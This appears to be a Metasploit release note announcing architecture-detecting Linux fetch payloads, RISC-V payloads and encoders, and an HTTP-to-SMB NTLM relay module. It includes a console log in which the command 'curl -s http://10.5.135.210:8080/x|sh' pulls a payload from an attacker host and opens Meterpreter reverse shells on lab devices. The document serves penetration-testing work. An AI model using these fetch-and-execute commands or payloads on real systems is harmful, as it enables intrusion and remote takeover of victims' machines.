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Our very own bwatters-r7 continued to enhance our Fetch Payloads implementation. This time adding a new Linux Fetch Multi payload family that supports on-the-fly Linux architecture identification. Standard Fetch payloads produce a command that will download and execute a specific binary payload on a target, but the new Linux Fetch Multi family will report the architecture of the target host when it requests the payload, and the handler will automatically serve the correct elf architecture payload for the given target. It means that if a user is exploiting a Linux host, they do not need to guess the target’s architecture when selecting a payload. It also means that one payload and one handler can serve across multiple targets of differing architectures. Since these payloads work by adding a query string, only HTTP and HTTPS-based fetch payloads support Fetch Multi payloads.
Here is an example of the same payload and handler identifying and delivering the proper elf architecture payloads to a mipsel host, a mips64 host, and an aarch64 host by just executing the command curl -s http://10.5.135.210:8080/x|sh on each target.
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > show options
Module options (payload/cmd/linux/http/multi/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP,
WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous
handles, requires Linux ≥3.17 (for Python variant also Python ≥3
.8, tested shells are sh, bash, zsh) (Accepted: none, python3.8+
, shell-search, shell)
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH x no Local URI to use for serving payload
LHOST 10.5.135.210 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
When FETCH_COMMAND is one of CURL,GET,WGET:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_PIPE true yes Host both the binary payload and the command so it can be piped dire
ctly to the shell.
When FETCH_FILELESS is none:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_FILENAME cldOGvRDplZ no Name to use on remote system when storing payload; cannot co
ntain spaces or slashes
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
View the full module info with the info, or info -d command.
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > to_handler
[*] Command to execute on target: curl -s http://10.5.135.210:8080/x|sh
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 10.5.135.210:8080
[*] HTTP server started
[*] Adding resource /csmCra8lnQTHxFXkipQC0w
[*] Adding resource /x
[*] Started reverse TCP handler on 10.5.135.210:4444
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > [*] Client 10.5.132.212 requested /x
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Client 10.5.132.212 requested /csmCra8lnQTHxFXkipQC0w?arch=armv7l
[*] Sending payload to 10.5.132.212 (curl/8.13.0-rc3)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for armle arch
[*] Meterpreter session 1 opened (10.5.135.210:4444 -> 10.5.132.212:45068) at 2026-07-14 11:33:18 -0500
[*] Client 10.5.132.214 requested /x
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Client 10.5.132.214 requested /csmCra8lnQTHxFXkipQC0w?arch=aarch64
[*] Sending payload to 10.5.132.214 (curl/8.11.0)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for aarch64 arch
[*] Meterpreter session 2 opened (10.5.135.210:4444 -> 10.5.132.214:39894) at 2026-07-14 11:33:26 -0500
[*] Client 10.5.132.224 requested /x
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Client 10.5.132.224 requested /csmCra8lnQTHxFXkipQC0w?arch=mips64
[*] Sending payload to 10.5.132.224 (curl/7.52.1)
[*] Dynamic Payload Detected, expecting a Query String in the request...
[*] Building payload for mips64 arch
[*] Meterpreter session 3 opened (10.5.135.210:4444 -> 10.5.132.224:53506) at 2026-07-14 11:33:41 -0500
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) > sessions -C sysinfo
[*] Running 'sysinfo' on meterpreter session 1 (10.5.132.212)
Computer : kali-raspberrypi
OS : Debian (Linux 5.15.44-Re4son-v7+)
Architecture : armv7l
BuildTuple : armv5l-linux-musleabi
Meterpreter : cmd/linux
[*] Running 'sysinfo' on meterpreter session 2 (10.5.132.214)
Computer : kali-raspberrypi
OS : Debian (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple : aarch64-linux-musl
Meterpreter : cmd/linux
[*] Running 'sysinfo' on meterpreter session 3 (10.5.132.224)
Computer : ubnt
OS : Debian 9.13 (Linux 4.9.79-UBNT)
Architecture : mips64
BuildTuple : mips64-linux-muslsf
Meterpreter : cmd/linux
msf payload(cmd/linux/http/multi/meterpreter_reverse_tcp) >Speaking of juggling multiple architectures, bcoles added support for yet another IoT arch: RiscV. The change adds staged and stageless shell payloads for both 32- and 64-bit RiscV systems, and dovetails well with his other PR adding XOR encoders for RiscV payloads.
Author: jheysel-r7
Type: Auxiliary
Pull request: #21620 contributed by jheysel-r7
Path: server/relay/http_to_smb
Description: Adds an HTTP to SMB Relay server module allowing users to relay an incoming NTLM HTTP authentication request to multiple SMB servers in order to establish SMB session on the target hosts to be used by the framework.
Author: bcoles [email protected]
Type: Encoder
Pull request: #21235 contributed by bcoles
Path: riscv32le/byte_xori
Description: Add four encoder variants for both RISC-V 32-bit and 64-bit little-endian architectures.
Authors: Brendan Watters, Spencer McIntyre, and bcoles [email protected]
Type: Payload (Adapter)
Pull request: #21384 contributed by bwatters-r7
Description: Adds Linux fetch multi payloads, a fetch server for FTP-based fetch payloads, a TFTP server to rex/proto to align with our other servers.
This adapter adds 421 new payloads for all Linux and Windows architectures including:
Authors: Brendan Watters, Spencer McIntyre, and bcoles [email protected]
Type: Payload (Stager)
Pull request: #21237 contributed by bcoles
Description: Adds reverse_tcp and bind_tcp stagers and a shell command stage for both RISC-V 64-bit and 32-bit little-endian Linux targets.
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